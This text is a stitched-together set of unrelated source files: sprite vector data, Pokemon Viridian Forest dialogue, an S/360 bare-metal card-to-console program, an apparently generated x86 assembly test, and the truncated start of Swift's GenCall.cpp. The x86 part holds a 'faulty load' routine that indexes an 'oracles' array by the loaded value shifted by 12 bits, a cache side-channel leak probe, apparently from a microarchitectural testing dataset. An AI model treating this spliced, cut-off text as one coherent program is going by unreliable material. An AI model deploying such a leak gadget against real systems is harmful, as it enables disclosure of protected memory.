db -1*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP ; 80,-50 => 16,-10
db -12*SPRITE_BLOW_UP, 7*SPRITE_BLOW_UP ; 22,-15 => 4, -3
db 0*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP ; 18,-8 => 4, -2
db 0*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP ; 19,-3 => 4, -1
db 1*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP ; 25,0 => 5, 0
yelp_09oclock:
db 8 ; number of vectors - 1
db -3*SPRITE_BLOW_UP, -4*SPRITE_BLOW_UP ; 8,-20 => 2, -4 (from 5,0)
db 2*SPRITE_BLOW_UP, -8*SPRITE_BLOW_UP ; 20,-60 => 4, -12
db -2*SPRITE_BLOW_UP, -1*SPRITE_BLOW_UP ; 12,-65 => 2, -13
db -6*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP ; -20,-65 => -4,-13
db -1*SPRITE_BLOW_UP, 2*SPRITE_BLOW_UP ; -25,-55 => -5,-11
db 3*SPRITE_BLOW_UP, 7*SPRITE_BLOW_UP ; -10,-20 => -2,-4
db 1*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP ; -5,-15 => -1,-3
db 1*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP ; 0,-15 => 0,-3
db 2*SPRITE_BLOW_UP, -1*SPRITE_BLOW_UP ; 8,-20 => 2,-4
yelp_07oclock:
db 8 ; number of vectors - 1
db -7*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP ; -25,-15 => -5,-3 (from 2,-4)
db -6*SPRITE_BLOW_UP, -5*SPRITE_BLOW_UP ; -55,-40 => -11,-8
db -2*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP ; -65,-38 => -13,-8
db -2*SPRITE_BLOW_UP, 6*SPRITE_BLOW_UP ; -75,-10 => -15,-2
db 1*SPRITE_BLOW_UP, 2*SPRITE_BLOW_UP ; -70,0 => -14,0
db 9*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP ; -25,0 => -5,0
db 1*SPRITE_BLOW_UP, -1*SPRITE_BLOW_UP ; -20,-5 => -4,-1
db 0*SPRITE_BLOW_UP, -1*SPRITE_BLOW_UP ; -20,-10 => -4,-2
db -1*SPRITE_BLOW_UP, -1*SPRITE_BLOW_UP ; -25,-15 => -5,-3
yelp_04oclock:
db 7 ; number of vectors - 1
db 1*SPRITE_BLOW_UP, 6*SPRITE_BLOW_UP ; -22,15 => -4,3 (from -5,-3)
db -8*SPRITE_BLOW_UP, 4*SPRITE_BLOW_UP ; -60,35 => -12,7
db 0*SPRITE_BLOW_UP, 2*SPRITE_BLOW_UP ; -60,45 => -12,9
db 5*SPRITE_BLOW_UP, 4*SPRITE_BLOW_UP ; -35,65 => -7,13
db 2*SPRITE_BLOW_UP, -1*SPRITE_BLOW_UP ; -25,60 => -5,12
db 2*SPRITE_BLOW_UP, -7*SPRITE_BLOW_UP ; -15,25 => -3,5
db 0*SPRITE_BLOW_UP, -2*SPRITE_BLOW_UP ; -15,15 => -3,3
db -1*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP ; -22,15 => -4,3
yelp_02oclock:
db 9 ; number of vectors - 1
db 5*SPRITE_BLOW_UP, 2*SPRITE_BLOW_UP ; 5,25 => 1,5 (from -4,3)
db 1*SPRITE_BLOW_UP, 7*SPRITE_BLOW_UP ; 10,60 => 2,12
db 1*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP ; 15,65 => 3,13
db 2*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP ; 25,65 => 5,13
db 4*SPRITE_BLOW_UP, -4*SPRITE_BLOW_UP ; 45,45 => 9,9
db 0*SPRITE_BLOW_UP, -2*SPRITE_BLOW_UP ; 45,35 => 9.7
db -5*SPRITE_BLOW_UP, -4*SPRITE_BLOW_UP ; 20,15 => 4,3
db -2*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP ; 10,15 => 2,3
db -1*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP ; 5,20 => 1,4
db 0*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP ; 5,25 => 1,5
;***************************************************************************
end main
;***************************************************************************
|
_ViridianForestText1::
text "This #MON"
line "keeps losing!"
para "This is its"
line "last chance!"
done
_ViridianForestBattleText1::
text "Hey! You have"
line "#MON! Come on!"
cont "Let's battle 'em!"
done
_ViridianForestEndBattleText1::
text "No!"
line "Useless! Here you"
cont "have it!"
prompt
_ViridianFrstAfterBattleText1::
text "I should stick to"
line "strong bug MON!"
done
_ViridianForestBattleText2::
text "Yo! You can't jam"
line "out if you're a"
cont "#MON trainer!"
done
_ViridianForestEndBattleText2::
text "Huh?"
line "I ran out of"
cont "#MON!"
prompt
_ViridianFrstAfterBattleText2::
text "Darn! I'm going"
line "to catch some"
cont "stronger ones!"
done
_ViridianForestBattleText3::
text "Hey, wait up!"
line "What's the hurry?"
done
_ViridianForestEndBattleText3::
text "I"
line "give! You're good"
cont "at this!"
prompt
_ViridianFrstAfterBattleText3::
text "Sometimes, you"
line "can find stuff on"
cont "the ground!"
para "I'm looking for"
line "the stuff I"
cont "dropped!"
done
_ViridianForestBattleTextPikaGirl::
text "Hi, do you have a"
line "PIKACHU?"
done
_ViridianForestEndBattleTextPikaGirl::
text "Oh no,"
line "really?"
prompt
_ViridianForestAfterBattleTextPikaGirl::
text "I looked forever,"
line "but I never found"
cont "a PIKACHU here!"
done
_ViridianForestBattleTextSamurai::
text "I'm gonna be the"
line "best. You just"
cont "can't beat me!"
done
_ViridianForestEndBattleTextSamurai::
text "After"
line "all I did..."
prompt
_ViridianForestAfterBattleTextSamurai::
text "A METAPOD is cool"
line "because its"
cont "attack is its"
cont "defense!"
done
_ViridianForestText8::
text "I ran out of #"
line "BALLs to catch"
cont "#MON with!"
para "You should carry"
line "extras!"
done
_ViridianForestText9::
text "TRAINER TIPS"
para "If you want to"
line "avoid battles,"
cont "stay away from"
cont "grassy areas!"
done
_ViridianForestText10::
text "For poison, use"
line "ANTIDOTE! Get it"
cont "at #MON MARTs!"
done
_ViridianForestText11::
text "TRAINER TIPS"
para "Contact PROF.OAK"
line "via PC to get"
cont "your #DEX"
cont "evaluated!"
done
_ViridianForestText12::
text "TRAINER TIPS"
para "No stealing of"
line "#MON from"
cont "other trainers!"
cont "Catch only wild"
cont "#MON!"
done
_ViridianForestText13::
text "TRAINER TIPS"
para "Weaken #MON"
line "before attempting"
cont "capture!"
para "When healthy,"
line "they may escape!"
done
_ViridianForestText14::
text "LEAVING"
line "VIRIDIAN FOREST"
cont "PEWTER CITY AHEAD"
done
|
* Copyright 2021 Harold Grovesteen
*
* MIT License:
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
TITLE 'CRD2CONSL - SEND CARD CONTENTS TO CONSOLE'
* Program Description:
*
* CRD2CONSL is a bare-metal program. It requires input/output commands to
* the IPL card stream to read a card's contents and then send the card's
* contents to the consolde device.
*
* The program is executed by means of an IPL from a card deck containing as
* the last card the one that is sent to the console. The card contains
* EBCDIC data and is part of the IPL deck.
*
* Target Architecture: S/360
*
* Devices Used:
* 10C - IPL card reader
* 01F - Console device
*
* Program Register Usage:
*
* R0 Base register for access to the ASA. Required by DSECT usage
* R1 Device Channel and Unit Address for I/O instructions
* R11 Contains zero for STATUS clearing (zero from CPU reset).
* R12 The program base register
* R15 Subroutine return register
*
* Disabled Wait State PSW's address field values used by the program:
* X'000000' - Successful execution of the program
* X'000008' - Unexpected Restart interruption occurred. Old Restart PSW at
* address X'8'
* X'000018' - Unexpected External interruption occurred. Old External PSW at
* address X'18'
* X'000020' - Unexpected Supervisor interruption occurred. Old Supervisor
* PSW at address X'20'
* X'000028' - Unexpected Program interruption occurred. Old Program PSW at
* address X'28'
* X'000030' - Unexpected Machine Check interruption occurred. Old Machine
* Check PSW at address X'30'
* X'000038' - Unexpected Input/Output interruption occurred. Old Input/Output
* PSW at address X'38'
* X'010004' - Console Device X'01F' or channel not operational
* X'010008' - Console Device X'01F' or channel busy
* X'01000C' - Console Device X'01F' or channel had a problem. See CSW.
* X'010010' - Unexpected interruption from some other device. See ASA X'BA'
* X'010014' - Console channel error occurred
* X'010018' - Console device did not complete the I/O without a problem
* X'020004' - Reader Device X'00C' or channel not operational
* X'020008' - Reader Device X'00C' or channel busy
* X'02000C' - Reader Device X'00C' or channel had a problem. See CSW.
* X'020010' - Not used
* X'020014' - Reader channel error occurred
* X'020018' - Reader device did not complete the I/O without a problem
EJECT
* See all object data and macro generated model statements in the listing
PRINT DATA,GEN
SPACE 1
* Inform the SATK macros of the architecture being targeted. Inferred from
* the ASMA -t command-line argument.
ARCHLVL
* Ensure interrupt traps are loaded by iplasma.py before program execution
* begins. This macro will create the memory region that will also contain
* the IPL PSW. The region name defaults to ASAREGN. iplasma.py knows how
* to deal with this situation.
ASASECT ASALOAD
ASAIPL IA=PGMSTART Define the bare-metal program's IPL PSW
SPACE 2
*
* The Bare-Metal Hello World Program
*
SPACE 1
PGMSECT START X'2000',CRD2CSL Start a second region for the program itself
* This results in CRD2CSL.bin being created in the list directed IPL directory
USING ASA,0 Give me instruction access to the ASA CSECT
PGMSTART BALR 12,0 Establish my base register
USING *,12 Tell the assembler
SPACE 1
LH 1,2 Get the card reader device address (stored by IPL)
* Do this before bytes 2 and 3 are overlayed by the restart trap PSW.
SPACE 1
* Ensure program is not re-entered by a Hercules console initiated restart.
* Address 0 changed from its absolute storage role (IPL PSW) to its real
* storage role (Restart New PSW) after the IPL.
* Change from the IPL PSW at address 0 to Restart New PSW trap
MVC RSTNPSW,PGMRS
SPACE 3
* Most systems pass control to the CPU following receipt of CE and DE from
* the IPL device. On some systems, the transfer occurs upon receipt of
* CE allowing the device to later supply the DE. The following code is
* used to effect the same wait for DE that usually happens by the hardware
* executing the IPL function.
IPLWAIT TIO 0(1) Request the IPL device status
BC B'0001',RNOAVL If CC=3, device unavailable. Tell someone.
* IF CC=2 or 1, busy or CSW stored, wait until the device is available.
* The assumption is that the CSW contains the DE that the program is waiting
* to see. The program does not really care about the received status.
* It is just looking for the IPL device to be available.
BC B'0110',IPLWAIT
* CC=0, available, allows the program to continue.
SPACE 1
* Note: For systems the do NOT transfer control to the CPU until DE IS
* received, the above sequence will return CC=0 on the first TIO and proceed
* into the program as it would normally.
SPACE 3
* Read a card from the IPL device
* No need to validate that the IPL device is present. The fact that this
* program got loaded and is executing proves the reader device is present and
* working.
MVC CAW(4),RCCWADDR Identify the IPL device CCW to be executed
SIO 0(1) Request the reader channel program to start, did it?
BC B'0001',RNOAVL ..No, CC=3 don't know why, but tell someone.
BC B'0010',RBUSY ..No, CC=2 console device or channel is busy
BC B'0100',RCSW ..No, CC=1 CSW stored in ASA at X'40'
* Reader device is now sending the card's contents (CC=0)
* Wait for an I/O interruption
RDRWAIT BAL 15,DOWAIT WAIT FOR I/O interrupt
SPACE 1
* I/O results can now be checked.
* Yes, check the CSW conditions to determine if the console I/O worked
OC STATUS,CSW+4 Accummulate Device and Channel status
CLI STATUS+1,X'00' Did the channel have, a problem?
BNE RCHLERR ..Yes, end with a reader channel error
TM STATUS,X'F3' Did the unit encounter a problem?
BNZ RUNTERR ..No, end with a unit error
TM STATUS,X'0C' Did both channel and unit end?
BNO RDRWAIT Wait again for both to be done
* CARD HAS BEEN SUCCESSFULLY READ!
SPACE 3
* Determine if the console device, subchannel and channel are ready for use.
LH 1,CONDEV Set up I/O device address in I/O instruction register
TIO 0(1) Determine if the console is there
BC B'0001',DEVNOAVL ..No, CC=3 might have a different config address
BC B'0010',DEVBUSY ..No, CC=2 console device or channel is busy
BC B'0100',DEVCSW ..No, CC=1 CSW stored in ASA at X'40'
* Console device is available (CC=0)!
SPACE 1
* Prepare for I/O to console
STH 11,STATUS Clear status for console I/O operation
MVC CAW(4),CCWADDR Identify in ASA where first CCW resides
SPACE 1
* Send the Hello World message to the console
SIO 0(1) Request console channel program to start, did it?
BC B'0001',DEVNOAVL ..No, CC=3 don't know why, but tell someone.
BC B'0010',DEVBUSY ..No, CC=2 console device or channel is busy
BC B'0100',DEVCSW ..No, CC=1 CSW stored in ASA at X'40'
* Console device is now receiving the card contents (CC=0)
SPACE 1
* Wait for an I/O interruption
CONWAIT BAL 15,DOWAIT
SPACE 1
* I/O results can now be checked.
* Yes, check the CSW conditions to determine if the console I/O worked
OC STATUS,CSW+4 Accummulate Device and Channel status
CLI STATUS+1,X'00' Did the channel have, a problem?
BNE CHNLERR ..Yes, end with a channel error
TM STATUS,X'F3' Did the unit encounter a problem?
BNZ UNITERR ..No, end with a unit error
TM STATUS,X'0C' Did both channel and unit end?
BNO CONWAIT Wait again for both to be done
* Both channel and unit have ended
SPACE 1
* HURRAY! CARD CONTENTS HAVE BEEN SENT TO THE CONSOLE!
LPSW DONE Normal program termination
SPACE 3
*
* I/O WAIT SUBROUTINE
*
DOWAIT MVC IONPSW(8),CONT Set up continuation PSW for after I/O interrupt
LPSW WAIT Wait for I/O interruption and CSW from channel
IODONE EQU * The bare-metal program continues here after I/O
MVC IONPSW(8),IOTRAP Restore I/O trap PSW
* Did the interruption come from the expected device?
CH 1,IOOPSW+2 Is the interrupt from the expected device?
BER 15 ..Yes, return to caller
B DEVUNKN ..No, end program with an error
SPACE 3
* End the bare-metal program with an error indicated in PSW
DEVNOAVL LPSW NODEV Code 004 End console device is not available
DEVBUSY LPSW BUSYDEV Code 008 End because device is busy (no wait)
DEVCSW LPSW CSWSTR Code 00C End because CSW stored in ASA
DEVUNKN LPSW NOTCON Code 010 End unexpected device caused I/O interruption
CHNLERR LPSW CHERROR Code 014 End because console channel error occurred
UNITERR LPSW DVERROR Code 018 End because console device error occurred
RNOAVL LPSW RNODEV Code 004 End reader device is not available
RBUSY LPSW RBUSYDEV Code 008 End because reader device is busy (no wait)
RCSW LPSW RCSWSTR Code 00C End because CSW stored in ASA for reader
*RUNKN LPSW RNOTCON Code 010 End unexpected device caused I/O interruption
RCHLERR LPSW RCHERROR Code 014 End because reader channel error occurred
RUNTERR LPSW RDVERROR Code 018 End because reader device error occurred
SPACE 1
* I/O related information
CCWADDR DC A(CONCCW) Address of first CCW to be executed by console device.
RCCWADDR DC A(RDRCCW) Address of first CCW to be executed by reader device.
CONDEV DC XL2'001F' Console device address
STATUS DC XL2'0000' Used to accumulate unit and channel status
SPACE 1
* CCW used by the program to write the card contents to the console
CONCCW CCW0 X'09',RIOAREA,0,L'RIOAREA Write card to console with CR
* CCW0 X'03',0,0,1 ..then a NOP.
* If the preceding NOP CCW command is enabled, then the CONCCW must set
* command chaining in the flag byte, setting the third operand to X'40'
SPACE 1
* CCW used to read the card from the IPL device stream on X'00C'
RDRCCW CCW X'02',RIOAREA,0,L'RIOAREA Read the card into memory
* CCW0 X'03',0,0,1 ..then a NOP.
* If the preceding NOP CCW command is enabled, then the RDRCW must set
* command chaining in the flag byte, setting the third operand to X'40'
SPACE 1
* PSW's used by the bare-metal program
PGMRS DWAIT CODE=008 Restart New PSW trap. Points to Restart Old PSW
WAIT PSW360 X'F8',0,2,0,0 Causes CPU to wait for I/O interruption
CONT PSW360 0,0,0,0,IODONE Causes the CPU to continue after waiting
IOTRAP PSW360 0,0,2,0,X'38' I/O trap New PSW (restored after I/O)
SPACE 1
* PSW's terminating program execution
DONE DWAITEND Successful execution of the program
NODEV DWAIT PGM=01,CMP=0,CODE=004 Console device not available
BUSYDEV DWAIT PGM=01,CMP=0,CODE=008 Console device busy
CSWSTR DWAIT PGM=01,CMP=0,CODE=00C CSW stored in ASA
NOTCON DWAIT PGM=01,CMP=0,CODE=010 Unexpected interruption from other device
CHERROR DWAIT PGM=01,CMP=0,CODE=014 Console channel error occurred
DVERROR DWAIT PGM=01,CMP=0,CODE=018 Console device error occurred
RNODEV DWAIT PGM=02,CMP=0,CODE=004 Reader device not available
RBUSYDEV DWAIT PGM=02,CMP=0,CODE=008 Reader device busy
RCSWSTR DWAIT PGM=02,CMP=0,CODE=00C CSW stored in ASA
*RNOTCON DWAIT PGM=02,CMP=0,CODE=010 Unexpected interruption from other device
RCHERROR DWAIT PGM=02,CMP=0,CODE=014 Reader channel error occurred
RDVERROR DWAIT PGM=02,CMP=0,CODE=018 Reader device error occurred
SPACE 3
* No constants should be placed below this area. Base register not needed
* because this area is only referenced by CCW's
RIOAREA DS 0CL80
* Note: the 0 ensures no space is reserved in IPL deck for this area.
SPACE 3
*
* Hardware Assigned Storage Locations
*
SPACE 1
* This DSECT allows symbolic access to these locations. The DSECT created is
* named ASA.
ASA ASAREA DSECT=YES
END
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x2013, %r13
nop
nop
nop
nop
nop
sub %rsi, %rsi
movb $0x61, (%r13)
nop
nop
cmp %rax, %rax
lea addresses_UC_ht+0x66c, %rsi
lea addresses_UC_ht+0x1d793, %rdi
nop
nop
nop
nop
and $55509, %r15
mov $106, %rcx
rep movsq
nop
nop
nop
and $9602, %rdi
lea addresses_WT_ht+0x18e13, %rsi
lea addresses_D_ht+0xb413, %rdi
cmp %r15, %r15
mov $43, %rcx
rep movsb
nop
xor $2170, %rdi
lea addresses_normal_ht+0x17489, %r14
nop
nop
add %r15, %r15
mov (%r14), %ax
nop
nop
nop
cmp $37467, %rax
lea addresses_A_ht+0xfd2b, %rsi
lea addresses_D_ht+0x1bc13, %rdi
nop
cmp $46410, %rbx
mov $112, %rcx
rep movsq
nop
nop
nop
inc %r15
lea addresses_UC_ht+0x19413, %rbx
nop
nop
nop
sub $40773, %rsi
mov $0x6162636465666768, %r13
movq %r13, %xmm4
and $0xffffffffffffffc0, %rbx
vmovaps %ymm4, (%rbx)
nop
nop
nop
add %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r8
push %rbp
push %rcx
push %rdx
// Store
lea addresses_UC+0x1eeb3, %r15
nop
nop
nop
nop
dec %rdx
mov $0x5152535455565758, %rcx
movq %rcx, (%r15)
nop
nop
nop
nop
cmp %r12, %r12
// Load
lea addresses_PSE+0x16813, %r12
nop
nop
nop
nop
sub %rbp, %rbp
mov (%r12), %r10w
sub $44775, %rbp
// Store
lea addresses_A+0x6873, %rdx
nop
nop
nop
nop
sub $57547, %rbp
mov $0x5152535455565758, %r15
movq %r15, (%rdx)
nop
nop
xor $60937, %r10
// Store
lea addresses_WC+0x82d3, %rbp
nop
nop
dec %rdx
movw $0x5152, (%rbp)
add $23654, %rcx
// Store
lea addresses_WC+0x16a53, %r12
nop
nop
and %rdx, %rdx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm2
and $0xffffffffffffffc0, %r12
vmovntdq %ymm2, (%r12)
nop
nop
inc %rcx
// Load
mov $0x513, %rdx
nop
nop
nop
and %r12, %r12
mov (%rdx), %bp
nop
nop
nop
nop
nop
cmp %r10, %r10
// Load
lea addresses_UC+0xe0f3, %r8
nop
nop
nop
nop
nop
dec %r15
vmovups (%r8), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rbp
nop
nop
nop
nop
nop
sub %rcx, %rcx
// Load
lea addresses_D+0xbf33, %rcx
nop
nop
cmp %r8, %r8
mov (%rcx), %bp
nop
nop
nop
nop
nop
sub %r15, %r15
// Store
lea addresses_WT+0x7213, %r15
nop
nop
and %rcx, %rcx
movw $0x5152, (%r15)
nop
nop
nop
nop
nop
dec %rbp
// Store
lea addresses_PSE+0x3a53, %r10
nop
nop
cmp $15738, %rcx
mov $0x5152535455565758, %rbp
movq %rbp, %xmm3
vmovups %ymm3, (%r10)
nop
nop
sub $17725, %rdx
// Store
lea addresses_WT+0x57e3, %r10
nop
nop
nop
nop
sub %rcx, %rcx
movw $0x5152, (%r10)
sub $50858, %rcx
// Store
lea addresses_RW+0x1c353, %rbp
inc %r10
movb $0x51, (%rbp)
nop
nop
nop
add $41683, %r12
// Faulty Load
lea addresses_WT+0x9c13, %rcx
nop
nop
add %r10, %r10
movups (%rcx), %xmm0
vpextrq $1, %xmm0, %r15
lea oracles, %r10
and $0xff, %r15
shlq $12, %r15
mov (%r10,%r15,1), %r15
pop %rdx
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_P'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': True, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
//===--- GenCall.cpp - Swift IR Generation for Function Calls -------------===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// This file implements IR generation for function signature lowering
// in Swift. This includes creating the IR type, collecting IR attributes,
// performing calls, and supporting prologue and epilogue emission.
//
//===----------------------------------------------------------------------===//
#include "GenCall.h"
#include "Signature.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/RecordLayout.h"
#include "clang/Basic/TargetInfo.h"
#include "clang/CodeGen/CodeGenABITypes.h"
#include "clang/CodeGen/ModuleBuilder.h"
#include "swift/AST/GenericEnvironment.h"
#include "swift/SIL/SILType.h"
#include "swift/ABI/MetadataValues.h"
#include "swift/Runtime/Config.h"
#include "llvm/IR/CallSite.h"
#include "llvm/Support/Compiler.h"
#include "CallEmission.h"
#include "Explosion.h"
#include "GenObjC.h"
#include "GenPoly.h"
#include "GenProto.h"
#include "GenType.h"
#include "IRGenFunction.h"
#include "IRGenModule.h"
#include "LoadableTypeInfo.h"
#include "NativeConventionSchema.h"
using namespace swift;
using namespace irgen;
static Size getYieldOnceCoroutineBufferSize(IRGenModule &IGM) {
